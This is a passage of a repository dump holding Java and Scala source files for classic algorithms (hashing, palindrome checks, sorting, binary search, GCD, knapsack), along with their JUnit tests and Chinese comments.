    "content": "package com.jun.plugin.algorithm.hash;\n\n/**\n * Created by hztaoran on 2016/7/11.\n */\npublic class HashUtil {\n    /**\n     * 使用FNV1_32_HASH算法计算hash值\n     *\n     * @param str\n     * @return\n     */\n    public static int FNV1_32_HASH(String str) {\n        final int p = 16777619;\n        int hash = (int) 2166136261L;\n        for (int i = 0; i < str.length(); i++) {\n            hash = (hash ^ str.charAt(i)) * p;\n        }\n        hash += hash << 13;\n        hash ^= hash >> 7;\n        hash += hash << 3;\n        hash ^= hash >> 17;\n        hash += hash << 5;\n        // 如果算出来的值为负数则取其绝对值\n        if (hash < 0)\n            hash = Math.abs(hash);\n        return hash;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_algorithm/src/main/java/com/jun/plugin/algorithm/palindrome/PalindromeString.java",
    "content": "package com.jun.plugin.algorithm.palindrome;\nimport org.junit.Test;\n\n/**\n *判断字符串是否回文\n */\npublic class PalindromeString {\npublic boolean isPalindrome(String str){\n\tif(str==null||str.length()<=1){\n\t\treturn true;\n\t}\n\tfor(int i=0,j=str.length()-1;i<j;i++,j--){\n\t\tif(str.charAt(i)!=str.charAt(j)){\n\t\t\treturn false;\n\t\t}\n\t}\n\treturn true;\n}\n@Test\npublic void test(){\n\tSystem.out.println(isPalindrome(\"abcdcba\"));\n\tSystem.out.println(isPalindrome(\"abcdeba\"));\n\tSystem.out.println(isPalindrome(\"abccba\"));\n\tSystem.out.println(isPalindrome(\"abcd\"));\n\tSystem.out.println(isPalindrome(\"秋江楚雁宿沙洲 雁宿沙洲浅水流 流水浅洲沙宿雁 洲沙宿雁楚江秋\"));\n}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_algorithm/src/main/java/com/jun/plugin/algorithm/palindrome/_125ValidPalindrome.java",
    "content": "package com.jun.plugin.algorithm.palindrome;\n\nimport org.junit.Test;\n\npublic class _125ValidPalindrome {\n/**\n * leetCode 125：Valid Palindrome\n * 判断单个字符是否是“数字或字母”\n */\npublic boolean isAlpha(char c){\n\tif((c>='0'&&c<='9')||(c>='a'&&c<='z')){\n\t\treturn true;\n\t}else{\n\t\treturn false;\n\t}\n}\npublic boolean isPalindrome(String s) {\n    if(s==null||s.length()<=1){\n    \treturn true;\n    }\n    s=s.toLowerCase();\n    for(int i=0,j=s.length()-1;i<j;i++,j--){\n    \twhile(i<j&&!isAlpha(s.charAt(i))){\n    \t\ti++;\n    \t}\n    \twhile(i<j&&!isAlpha(s.charAt(j))){\n    \t\tj--;\n    \t}\n    \tif(s.charAt(i)!=s.charAt(j)){\n    \t\treturn false;\n    \t}\n    }\n    return true;\n}\n@Test\npublic void test(){\n\tSystem.out.println(isPalindrome(\"A man, a plan, a canal: Panama\"));\n\tSystem.out.println(isPalindrome(\"race a car\"));\n}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_algorithm/src/main/java/com/jun/plugin/algorithm/sort/BubbleSort.java",
    "content": "package com.jun.plugin.algorithm.sort;\n\n/**\n * 冒泡排序 - 稳定\n * 复杂度：O(n^2) - O(n) - O(n^2) - O(1)[平均 - 最好 - 最坏 - 空间复杂度]\n */\npublic class BubbleSort {\n    public void bubbleSort(int[] a) {\n        if (null == a || a.length < 2) {\n            return;\n        }\n        boolean flag;\n        for (int i = 0; i < a.length - 1; i++) {\n            flag = false;\n            for (int j = 0; j < a.length - 1 - i; j++) {\n                if (a[j] > a[j + 1]) {\n                    int temp = a[j];\n                    a[j] = a[j + 1];\n                    a[j + 1] = temp;\n                    flag = true;\n                }\n            }\n            if (false == flag) {\n                return;\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_algorithm/src/main/java/com/jun/plugin/algorithm/sort/HalfSearch.java",
    "content": "package com.jun.plugin.algorithm.sort;\n\n/**\n * Created by Lemonjing on 2015/4/18.\n * Github: Lemonjing\n * 折半查找\n */\npublic class HalfSearch {\n    public int halfSearch(int[] a, int low, int high, int x) {\n        while (low <= high) {\n            int mid = (low + high) / 2;\n            if (x < a[mid]) {\n                high = mid - 1;\n            } else if (x > a[mid]) {\n                low = mid + 1;\n            } else\n                return mid;\n        }\n        return -1;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_algorithm/src/main/java/com/jun/plugin/algorithm/sort/HeapSort.java",
    "content": "package com.jun.plugin.algorithm.sort;\n\n/**\n * 堆排序 - 不稳定\n * 复杂度：O(nlogn) - O(nlgn) - O(nlgn) - O(1)[平均 - 最好 - 最坏 - 空间复杂度]\n */\npublic class HeapSort {\n    public void heapSort(int[] a) {\n        if (null == a || a.length < 2) {\n            return;\n        }\n\n        buildMaxHeap(a);\n\n        for (int i = a.length - 1; i >= 0; i--) {\n            int temp = a[0];\n            a[0] = a[i];\n            a[i] = temp;\n\n            adjustHeap(a, i, 0);\n        }\n    }\n\n    // 建堆\n    private void buildMaxHeap(int[] a) {\n        int mid = a.length / 2;\n        for (int i = mid; i >= 0; i--) {\n            adjustHeap(a, a.length, i);\n        }\n    }\n\n    // 递归调整堆\n    private void adjustHeap(int[] a, int size, int parent) {\n        int left = 2 * parent + 1;\n        int right = 2 * parent + 2;\n        int largest = parent;\n\n        if (left < size && a[left] > a[largest]) {\n            largest = left;\n        }\n\n        if (right < size && a[right] > a[largest]) {\n            largest = right;\n        }\n\n        if (parent != largest) {\n            int temp = a[parent];\n            a[parent] = a[largest];\n            a[largest] = temp;\n            adjustHeap(a, size, largest);\n        }\n    }\n\n    // 维护了一个最大堆\n//\tpublic static void main(String[] args) {\n//\t\tint[] a = {4, 5, 3, 2, 1, 6, 7, 8, 9, 10};\n//\t\tnew HeapSort().heapSort(a);\n//\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_algorithm/src/main/java/com/jun/plugin/algorithm/sort/InsertionSort.java",
    "content": "package com.jun.plugin.algorithm.sort;\n\n/**\n * 插入排序 - 稳定\n * 复杂度：O(n^2) - O(n) - O(n^2) - O(1)[平均 - 最好 - 最坏 - 空间复杂度]\n */\npublic class InsertionSort {\n    public void insertionSort(int[] a) {\n        if (null == a || a.length < 2) {\n            return;\n        }\n        for (int i = 1; i < a.length; i++) {\n            // 暂存当前值\n            int temp = a[i];\n            int j = i - 1;\n            while (j >= 0 && temp < a[j]) {\n                // 后移\n                a[j + 1] = a[j];\n                j--;\n            }\n            // 当前值归位\n            a[j + 1] = temp;\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_algorithm/src/main/java/com/jun/plugin/algorithm/sort/MergeSort.java",
    "content": "package com.jun.plugin.algorithm.sort;\n\n/**\n * 归并排序(申请一个临时数组) - 稳定\n * 复杂度：O(nlogn) - O(nlgn) - O(nlgn) - O(n)[平均 - 最好 - 最坏 - 空间复杂度]\n */\npublic class MergeSort {\n    // 排序\n    public void mergeSort(int[] a, int low, int high) {\n        if (null == a || a.length < 2) {\n            return;\n        }\n        int mid = (low + high) / 2;\n        if (low < high) {\n            // 左边排序\n            mergeSort(a, low, mid);\n            // 右边排序\n            mergeSort(a, mid + 1, high);\n            // 有序序列合并\n            merge(a, low, mid, high);\n        }\n    }\n\n    // 合并\n    private void merge(int a[], int low, int mid, int high) {\n        // 临时数组\n        int[] temp = new int[high - low + 1];\n        // 左指针\n        int i = low;\n        // 右指针\n        int j = mid + 1;\n        // 临时数组索引\n        int k = 0;\n\n        while (i <= mid && j <= high) {\n            if (a[i] < a[j]) {\n                temp[k++] = a[i++];\n            } else {\n                temp[k++] = a[j++];\n            }\n        }\n\n        // 把左边剩余的数移入数组\n        while (i <= mid) {\n            temp[k++] = a[i++];\n        }\n\n        // 把右边剩余的数移入数组\n        while (j <= high) {\n            temp[k++] = a[j++];\n        }\n\n        // 注意这里是low + t\n        for (int t = 0; t < temp.length; t++) {\n            a[low + t] = temp[t];\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_algorithm/src/main/java/com/jun/plugin/algorithm/sort/QuickSort.java",
    "content": "package com.jun.plugin.algorithm.sort;\n\nimport java.util.Stack;\n\n/**\n * 快速排序 - 不稳定\n * 复杂度：O(nlgn) - O(nlgn) - O(n^2) - O(1)[平均 - 最好 - 最坏 - 空间复杂度]\n * 栈空间 O(lgn) - O(n)\n */\npublic class QuickSort {\n    // 递归，固定基准\n    public void quickSort(int[] a, int low, int high) {\n        if (null == a || a.length < 2) {\n            return;\n        }\n        if (low < high) {\n            int mid = partition(a, low, high);\n            quickSort(a, low, mid - 1);\n            quickSort(a, mid + 1, high);\n        }\n    }\n\n    // 非递归，固定基准\n    public void quickSortNonRecur(int[] a, int low, int high) {\n        if (null == a || a.length < 2) {\n            return;\n        }\n        Stack<Integer> stack = new Stack<>();\n        stack.push(low);\n        stack.push(high);\n        while (!stack.isEmpty()) {\n            high = stack.pop();\n            low = stack.pop();\n            if (low < high) {\n                int mid = partition(a, low, high);\n                stack.push(low);\n                stack.push(mid - 1);\n                stack.push(mid + 1);\n                stack.push(high);\n            }\n        }\n    }\n\n    private int partition(int[] a, int low, int high) {\n        int pivot = a[low];\n\n        while (low < high) {\n            // 注意等于，否则当全部待排序数字都相同的时候会死循环\n            while (low < high && a[high] >= pivot) {\n                high--;\n            }\n            a[low] = a[high];\n            // 注意等于，否则当全部待排序数字都相同的时候会死循环\n            while (low < high && a[low] <= pivot) {\n                low++;\n            }\n            a[high] = a[low];\n        }\n        a[low] = pivot;\n\n        return low;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_algorithm/src/main/java/com/jun/plugin/algorithm/sort/RadixSort.java",
    "content": "package com.jun.plugin.algorithm.sort;\n\n/**\n * 基数排序 稳定\n * 复杂度： O(d(n+r)) r为基数d为位数 空间复杂度O(n+r)\n */\npublic class RadixSort {\n    // 基数排序\n    public void radixSort(int[] a, int begin, int end, int digit) {\n        // 基数\n        final int radix = 10;\n        // 桶中的数据统计\n        int[] count = new int[radix];\n        int[] bucket = new int[end - begin + 1];\n\n        // 按照从低位到高位的顺序执行排序过程\n        for (int i = 1; i <= digit; i++) {\n            // 清空桶中的数据统计\n            for (int j = 0; j < radix; j++) {\n                count[j] = 0;\n            }\n\n            // 统计各个桶将要装入的数据个数\n            for (int j = begin; j <= end; j++) {\n                int index = getDigit(a[j], i);\n                count[index]++;\n            }\n\n            // count[i]表示第i个桶的右边界索引\n            for (int j = 1; j < radix; j++) {\n                count[j] = count[j] + count[j - 1];\n            }\n\n            // 将数据依次装入桶中\n            // 这里要从右向左扫描，保证排序稳定性 \n            for (int j = end; j >= begin; j--) {\n                int index = getDigit(a[j], i);\n                bucket[count[index] - 1] = a[j];\n                count[index]--;\n            }\n\n            // 取出，此时已是对应当前位数有序的表\n            for (int j = 0; j < bucket.length; j++) {\n                a[j] = bucket[j];\n            }\n        }\n    }\n\n    // 获取x的第d位的数字，其中最低位d=1\n    private int getDigit(int x, int d) {\n        String div = \"1\";\n        while (d >= 2) {\n            div += \"0\";\n            d--;\n        }\n        return x / Integer.parseInt(div) % 10;\n    }\n\n//\t// Test getDigit\n//\tpublic static void main(String[] args) {\n//\t\tSystem.out.println(new RadixSort().getDigit(123, 1));\n//\t\tSystem.out.println(new RadixSort().getDigit(123, 2));\n//\t\tSystem.out.println(new RadixSort().getDigit(123, 3));\n//\t\tSystem.out.println(new RadixSort().getDigit(1211, 1));\n//\t\tSystem.out.println(new RadixSort().getDigit(1211, 2));\n//\t\tSystem.out.println(new RadixSort().getDigit(1211, 3));\n//\t\tSystem.out.println(new RadixSort().getDigit(1211, 4));\n//\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_algorithm/src/main/java/com/jun/plugin/algorithm/sort/SelectSort.java",
    "content": "package com.jun.plugin.algorithm.sort;\n\n/**\n * 选择排序 - 不稳定\n * 复杂度：O(n^2) - O(n^2) - O(n^2) - O(1)[平均 - 最好 - 最坏 - 空间复杂度]\n */\npublic class SelectSort {\n    public void selectSort(int[] a) {\n        if (null == a || a.length < 2) {\n            return;\n        }\n        for (int i = 0; i < a.length; i++) {\n            int k = i;\n            for (int j = i + 1; j < a.length; j++) {\n                if (a[j] < a[k]) {\n                    k = j;\n                }\n            }\n            if (k != i) {\n                int temp = a[k];\n                a[k] = a[i];\n                a[i] = temp;\n            }\n        }\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_algorithm/src/main/java/com/jun/plugin/algorithm/sort/ShellSort.java",
    "content": "package com.jun.plugin.algorithm.sort;\n\n/**\n * 缩小增量排序（希尔排序）- 不稳定\n * 复杂度 小于O(n^2) 平均 O(nlgn) 最差O(n^s)[1<s<2] 空间O(1)\n */\npublic class ShellSort {\n    public void shellSort(int[] a) {\n        if (null == a || a.length < 2) {\n            return;\n        }\n        for (int d = a.length / 2; d > 0; d /= 2) {\n            // 从1B开始先和1A比较 然后2A与2B...然后再1C向前与同组的比较\n            for (int i = d; i < a.length; i++) {\n                // 内部直接插入\n                int temp = a[i];\n                int j = i - d;\n                while (j >= 0 && temp < a[j]) {\n                    a[j + d] = a[j];\n                    j -= d;\n                }\n                a[j + d] = temp;\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_algorithm/src/main/java/com/jun/plugin/algorithm/util/GCD.java",
    "content": "package com.jun.plugin.algorithm.util;\n\n/**\n * Created by taoxiaoran on 16/3/31.\n */\n\n// 公约数表示为f(a,b),并且有a>=b>0\n// 欧几里德就给了我们一个很好的定理，f(a,b)=f(b,a%b)。\npublic class GCD {\n    public int getGCD(int a, int b) {\n        if (b > a) {\n            int tmp = a;\n            a = b;\n            b = tmp;\n        }\n        if (b == 0) {\n            return a;\n        }\n\n        return getGCD(b, a % b);\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_algorithm/src/main/scala/com/scala/oj/Knapsack.scala",
    "content": "package com.scala.oj\n\n/**\n * Created by Lemonjing on 2018/6/5.\n * Github: Lemonjing\n *\n * 01背包状态转移方程：dp(i,j) = Max(dp(i-1,j), dp(i-1, j-w[i]) + v[i]) 一维数组法内循环逆序\n * 完全背包（物品数目无限）状态转移方程：f[i][j] = Max(f[i-1][j],f[i][j-w(i)]+v[i]) 一维数组法内循环正序\n * 多重背包解法：多重背包问题限定了一种物品的个数，解决多重背包问题，只需要把它转化为0-1背包问题即可。\n * 比如，有2件价值为5，重量为2的同一物品，我们就可以分为物品a和物品b，a和b的价值都为5，重量都为2，但我们把它们视作不同的物品。\n */\nobject Knapsack {\n\n  // 二维数组法\n  def Knapsack01(w: Array[Int], v: Array[Int], capacity: Int, n: Int): Int = {\n    val maxValue = Array.ofDim[Int](n + 1, capacity + 1)\n    for (i <- 1 until n + 1) {\n      for (j <- 1 until capacity + 1) {\n        if (j >= w(i - 1)) {\n          maxValue(i)(j) = math.max(maxValue(i - 1)(j), maxValue(i - 1)(j - w(i - 1)) + v(i - 1))\n        } else {\n          // 二维数组放不下要加入这一行\n          maxValue(i)(j) = maxValue(i - 1)(j)\n        }\n      }\n    }\n    maxValue(n)(capacity)\n  }\n\n  // 一维数组法（数组压缩）\n  def Knapsack01WithCompact(w: Array[Int], v: Array[Int], capacity: Int, n: Int): Int = {\n    val maxValue = Array.ofDim[Int](capacity + 1)\n    for (i <- 1 until n + 1) {\n      for (j <- w(i - 1) until capacity + 1 reverse) {\n          maxValue(j) = math.max(maxValue(j), maxValue(j - w(i - 1)) + v(i - 1))\n      }\n    }\n    maxValue(capacity)\n  }\n\n  def KnapsackComplete(w: Array[Int], v: Array[Int], capacity: Int, n: Int): Int = {\n    val maxValue = Array.ofDim[Int](capacity + 1)\n    for (i <- 1 until n + 1) {\n      // 注意完全背包一维数组法内循环的正序\n      for (j <- w(i - 1) until capacity + 1) {\n        maxValue(j) = math.max(maxValue(j), maxValue(j - w(i - 1)) + v(i - 1))\n      }\n    }\n    maxValue(capacity)\n  }\n\n  def main(args: Array[String]): Unit = {\n    val capacity = 10\n    val n = 3\n    val w = Array(3, 11, 5)\n    val v = Array(4, 5, 6)\n    println(Knapsack01(w, v, capacity, n))\n    println(Knapsack01WithCompact(w, v, capacity, n))\n  }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_algorithm/src/main/scala/com/scala/sort/BubbleSortScala.scala",
    "content": "package com.scala.sort\n\n/**\n * Created by Lemonjing on 2018/4/29.\n * Github: Lemonjing\n */\nobject BubbleSortScala {\n\n  def bubbleSort(a: Array[Int]): Unit = {\n    if (a == null || a.length < 2) {\n      return\n    }\n    for (i <- 0 until a.length) {\n      var flag: Boolean = false\n      for (j <- 0 until a.length -1 - i) {\n        if (a(j) > a(j+1)) {\n          val temp = a(j+1)\n          a(j+1) = a(j)\n          a(j) = temp\n          flag = true\n        }\n      }\n      if (flag == false) {\n        return\n      }\n    }\n  }\n\n  def main(args: Array[String]): Unit = {\n    val arr = Array(28, 16, 32, 12, 60, 2, 5, 72)\n    bubbleSort(arr)\n    arr.foreach(println)\n  }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_algorithm/src/main/scala/com/scala/sort/HalfSearchScala.scala",
    "content": "package com.scala.sort\n\n/**\n * Created by Lemonjing on 2018/4/18.\n * Github: Lemonjing\n * 折半查找\n */\nobject HalfSearchScala {\n  def halfSearch(a: Array[Int], k: Int):Int = {\n    if (a == null || a.length <= 0) {\n      return -1\n    }\n    var low = 0\n    var high = a.length -1\n    while (low <= high) {\n      val mid = (low + high) / 2\n      if (k < a(mid)) {\n        high = mid - 1\n      } else if (k > a(mid)) {\n        low = mid + 1\n      } else {\n        return mid\n      }\n    }\n    -1\n  }\n\n  def main(args: Array[String]): Unit = {\n    val arr = Array(1,2,3,4,5,6)\n    println(java.util.Arrays.binarySearch(arr, 4))\n    println(halfSearch(arr, 4))\n  }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_algorithm/src/main/scala/com/scala/sort/HeapSortScala.scala",
    "content": "package com.scala.sort\n\n/**\n * Created by Lemonjing on 2018/4/30.\n * Github: Lemonjing\n */\nobject HeapSortScala {\n\n  def heapSort(a: Array[Int]): Unit = {\n    if (a == null || a.length < 2) {\n      return\n    }\n    buildMaxHeap(a)\n    for (i <- 0 until a.length reverse) {\n      val temp = a(i)\n      a(i) = a(0)\n      a(0) = temp\n      adjustHeap(a, i, 0)\n    }\n  }\n\n  private def buildMaxHeap(a: Array[Int]): Unit = {\n    val mid = a.length / 2\n    for (i <- 0 until mid reverse) {\n      adjustHeap(a, a.length, i)\n    }\n  }\n\n  private def adjustHeap(a: Array[Int], size: Int, parent: Int):Unit = {\n    val left = 2 * parent + 1\n    val right = 2 * parent + 2\n    var largest = parent\n    while (left < size && a(left) > a(largest)) {\n      largest = left\n    }\n    while (right < size && a(right) > a(largest)) {\n      largest = right\n    }\n    if (largest != parent) {\n      val temp = a(largest)\n      a(largest) = a(parent)\n      a(parent) = temp\n      adjustHeap(a, size, largest)\n    }\n  }\n\n  def main(args: Array[String]): Unit = {\n    val arr = Array(28, 16, 32, 12, 60, 2, 5, 72)\n    heapSort(arr)\n    arr.foreach(println)\n  }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_algorithm/src/main/scala/com/scala/sort/InsertSortScala.scala",
    "content": "package com.scala.sort\n\n/**\n * Created by Lemonjing on 2018/4/30.\n * Github: Lemonjing\n */\nobject InsertSortScala {\n\n  def insertSort(a: Array[Int]): Unit = {\n    if (a == null || a.length < 2) {\n      return\n    }\n    for (i <- 1 until a.length) {\n      val temp = a(i)\n      var j = i - 1\n      while (j >= 0 && temp < a(j)) {\n        a(j+1) = a(j)\n        j -= 1\n      }\n      a(j + 1) = temp\n    }\n  }\n\n  def main(args: Array[String]): Unit = {\n    val arr = Array(28, 16, 32, 12, 60, 2, 5, 72)\n    insertSort(arr)\n    arr.foreach(println)\n  }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_algorithm/src/main/scala/com/scala/sort/MergeSortScala.scala",
    "content": "package com.scala.sort\n\n/**\n * Created by Lemonjing on 2018/4/30.\n * Github: Lemonjing\n */\nobject MergeSortScala {\n\n  def mergeSort(a: Array[Int], low:Int, high:Int): Unit = {\n    if (a == null || a.length < 2) {\n      return\n    }\n    val mid = (low + high) /2\n    if (low < high) {\n      mergeSort(a, low, mid)\n      mergeSort(a, mid+1, high)\n      merge(a, low, mid, high)\n    }\n  }\n\n  def merge(a:Array[Int], low:Int, mid:Int, high:Int):Unit = {\n    val temp:Array[Int] = new Array[Int](high - low + 1)\n    var i = low\n    var j = mid + 1\n    var k  = 0\n\n    while (i <= mid && j<= high) {\n      if (a(i) < a(j)) {\n        temp(k) = a(i)\n        i += 1\n        k += 1\n      } else {\n        temp(k) = a(j)\n        j += 1\n        k += 1\n      }\n    }\n\n    while (i <= mid) {\n      temp(k) = a(i)\n      i += 1\n      k += 1\n    }\n\n    while (j <= high) {\n      temp(k) = a(j)\n      j += 1\n      k += 1\n    }\n\n    for (t <- 0 until temp.length) {\n      a(low + t) = temp(t)\n    }\n  }\n\n  def main(args: Array[String]): Unit = {\n    val arr = Array(28, 16, 32, 12, 60, 2, 5, 72)\n    mergeSort(arr, 0, arr.length - 1)\n    arr.foreach(println)\n  }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_algorithm/src/main/scala/com/scala/sort/QuickSortScala.scala",
    "content": "package com.scala.sort\n\n/**\n * Created by Lemonjing on 2015/4/24.\n * Github: Lemonjing\n */\nobject QuickSortScala {\n  def quickSort(a: Array[Int], low: Int, high: Int): Unit = {\n    if (a == null || a.length < 2) {\n      return\n    }\n    if (low < high) {\n      val mid = partition(a, low, high)\n      quickSort(a, low, mid - 1)\n      quickSort(a, mid + 1, high)\n    }\n  }\n\n  private def partition(a: Array[Int], low: Int, high: Int): Int = {\n    val pivot = a(low)\n    var _low = low\n    var _high = high\n\n    while (_low < _high) {\n      while (_low < _high && a(_high) >= pivot) {\n        _high -= 1\n      }\n      a(_low) = a(_high)\n      while (_low < _high && a(_low) <= pivot) {\n        _low += 1\n      }\n      a(_high) = a(_low)\n    }\n    a(_low) = pivot\n    _low\n  }\n\n  def main(args: Array[String]): Unit = {\n    val arr = Array(28, 16, 32, 12, 60, 2, 5, 72)\n    quickSort(arr, 0, arr.length - 1)\n    arr.foreach(println)\n  }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_algorithm/src/main/scala/com/scala/sort/SelectSortScala.scala",
    "content": "package com.scala.sort\n\n/**\n * Created by Lemonjing on 2018/4/30.\n * Github: Lemonjing\n */\nobject SelectSortScala {\n\n  def selectSort(a:Array[Int]):Unit = {\n    if (a == null || a.length < 2) {\n      return\n    }\n    for (i <- 0 until a.length) {\n      var k = i\n      for (j <- i + 1 until a.length) {\n        if (a(j) < a(k)) {\n          k = j\n        }\n      }\n      if (k != i) {\n        val temp = a(i)\n        a(i) = a(k)\n        a(k) = temp\n      }\n    }\n  }\n\n  def main(args: Array[String]): Unit = {\n    val arr = Array(28, 16, 32, 12, 60, 2, 5, 72)\n    selectSort(arr)\n    arr.foreach(println)\n  }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_algorithm/src/test/java/com/jun/plugin/algorithm/datastructure/jcollections/IArrayListTest.java",
    "content": "package com.jun.plugin.algorithm.datastructure.jcollections;\n\nimport org.junit.After;\nimport org.junit.Before;\nimport org.junit.Test;\n\nimport com.jun.plugin.algorithm.datastructure.jcollections.IArrayList;\n\nimport static org.junit.Assert.*;\nimport static org.hamcrest.core.Is.*;\n\n/**\n * Created by hztaoran on 2016/7/18.\n */\npublic class IArrayListTest {\n\n    IArrayList<Integer> ilist = null;\n\n    @Before\n    public void setUp() throws Exception {\n        ilist = new IArrayList<>();\n    }\n\n    @Test\n    public void logic() {\n        ilist.add(1);\n        assertThat(ilist.size(), is(1));\n        ilist.add(2);\n        ilist.add(3);\n    }\n\n    @After\n    public void tearDown() throws Exception {\n        ilist.clear();\n        ilist = null;\n    }\n\n}"
  },
  {
    "path": "jun_java_plugins/jun_algorithm/src/test/java/com/jun/plugin/algorithm/datastructure/tree/AVLTreeTest.java",
    "content": "package com.jun.plugin.algorithm.datastructure.tree;\n\nimport com.jun.plugin.algorithm.datastructure.tree.AVLTree;\n\n/**\n * Created by Lemonjing on 2016/3/17 0017.\n * Github: Lemonjing\n * email: xmusaber@163.com\n */\n\npublic class AVLTreeTest {\n    public static void main(String[] args) {\n        // 插入And 遍历\n        AVLTree t = new AVLTree();\n        t.insert(1);\n        t.insert(3);\n        t.insert(4);\n        t.insert(6);\n        t.insert(7);\n\n        t.traverse(t, \"pre\");\n        t.traverse(t, \"in\");\n        t.traverse(t, \"post\");\n\n        // 打印\n        t.display();\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_algorithm/src/test/java/com/jun/plugin/algorithm/datastructure/tree/BTreeTest.java",
    "content": "package com.jun.plugin.algorithm.datastructure.tree;\n\nimport com.jun.plugin.algorithm.datastructure.tree.BTree;\n\n/**\n * Created by Lemonjing on 2016/3/17 0017.\n * Github: Lemonjing\n * email: xmusaber@163.com\n */\npublic class BTreeTest {\n    public static void main(String[] args) {\n        int[] a = {5, 8, 10, 4};\n        BTree t = new BTree();\n\n        for (int i = 0; i < a.length; i++) {\n            t.buildBTree(t.root, a[i]);\n        }\n\n        System.out.println(\"前序遍历：\");\n        t.preOrder(t.root);\n        System.out.println(\"前序非递归遍历：\");\n        t.preOrder2(t.root);\n        System.out.println(\"中序遍历：\");\n        t.inOrder(t.root);\n        System.out.println(\"中序非递归遍历：\");\n        t.inOrder2(t.root);\n        System.out.println(\"后序遍历：\");\n        t.postOrder(t.root);\n        System.out.println(\"后序非遍历：\");\n        t.postOrder(t.root);\n        System.out.println(\"层序遍历：\");\n        t.levelOrder(t.root);\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_algorithm/src/test/java/com/jun/plugin/algorithm/sort/BubbleSortTest.java",
    "content": "package com.jun.plugin.algorithm.sort;\n\nimport org.junit.Test;\n\nimport com.jun.plugin.algorithm.sort.BubbleSort;\n\npublic class BubbleSortTest {\n\n    @Test\n    public void testBubbleSort() {\n        int[] a = {28, 16, 32, 12, 60, 2, 5, 72};\n        new BubbleSort().bubbleSort(a);\n        System.out.println(\"======冒泡排序测试======\");\n        for (int i = 0; i < a.length; ++i) {\n            System.out.print(a[i] + \" \");\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_algorithm/src/test/java/com/jun/plugin/algorithm/sort/HalfSearchTest.java",
    "content": "package com.jun.plugin.algorithm.sort;\n\nimport org.junit.Test;\n\nimport com.jun.plugin.algorithm.sort.HalfSearch;\n\npublic class HalfSearchTest {\n    @Test\n    public void testHalfSearch() {\n        int[] a = {1, 3, 4, 4, 4, 8, 9, 10, 11};\n        int index = new HalfSearch().halfSearch(a, 0, a.length - 1, 4);\n        System.out.println(\"======折半查找测试======\");\n        System.out.println(\"该数的索引是\" + index);\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_algorithm/src/test/java/com/jun/plugin/algorithm/sort/HeapSortTest.java",
    "content": "package com.jun.plugin.algorithm.sort;\n\nimport org.junit.Test;\n\nimport com.jun.plugin.algorithm.sort.HeapSort;\n\npublic class HeapSortTest {\n\t@Test\n\tpublic void testHeapSort() {\n\t\tint[] a = {28, 16, 32, 12, 60, 2, 5, 72};\n\t\tnew HeapSort().heapSort(a);\n\t\tSystem.out.println(\"======堆排序排序测试======\");\n\t\tfor (int i = 0; i < a.length; ++i) {\n\t\t\tSystem.out.print(a[i] + \" \");\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_algorithm/src/test/java/com/jun/plugin/algorithm/sort/InsertionSortTest.java",
    "content": "package com.jun.plugin.algorithm.sort;\n\nimport org.junit.Test;\n\nimport com.jun.plugin.algorithm.sort.InsertionSort;\n\npublic class InsertionSortTest {\n\t@Test\n\tpublic void testInsertionSort() {\n\t\tint[] a = {28, 16, 32, 12, 60, 2, 5, 72};\n\t\tnew InsertionSort().insertionSort(a);\n\t\tSystem.out.println(\"======插入排序测试======\");\n\t\tfor (int i = 0; i < a.length; ++i) {\n\t\t\tSystem.out.print(a[i] + \" \");\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_algorithm/src/test/java/com/jun/plugin/algorithm/sort/MergeSortTest.java",
    "content": "package com.jun.plugin.algorithm.sort;\n\nimport org.junit.Test;\n\nimport com.jun.plugin.algorithm.sort.MergeSort;\n\npublic class MergeSortTest {\n\t@Test\n\tpublic void testMergeSort() {\n\t\tint[] a = {28, 16, 32, 12, 60, 2, 5, 72};\n\t\tnew MergeSort().mergeSort(a, 0, a.length-1);\n\t\tSystem.out.println(\"======归并排序测试======\");\n\t\tfor (int i = 0; i < a.length; ++i) {\n\t\t\tSystem.out.print(a[i] + \" \");\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_algorithm/src/test/java/com/jun/plugin/algorithm/sort/QuickSortTest.java",
    "content": "package com.jun.plugin.algorithm.sort;\n\nimport org.junit.Test;\n\nimport com.jun.plugin.algorithm.sort.QuickSort;\n\nimport static org.junit.Assert.*;\nimport java.util.Arrays;\n\npublic class QuickSortTest {\n    @Test\n    public void testQuickSort() {\n        int[] a = {28, 16, 32, 12, 60, 2, 5, 72};\n//        new QuickSort().quickSort(a, 0, a.length - 1);\n        new QuickSort().quickSortNonRecur(a, 0, a.length - 1);\n        String expect = \"[2, 5, 12, 16, 28, 32, 60, 72]\";\n        assertEquals(expect, Arrays.toString(a));\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_algorithm/src/test/java/com/jun/plugin/algorithm/sort/RadixSortTest.java",
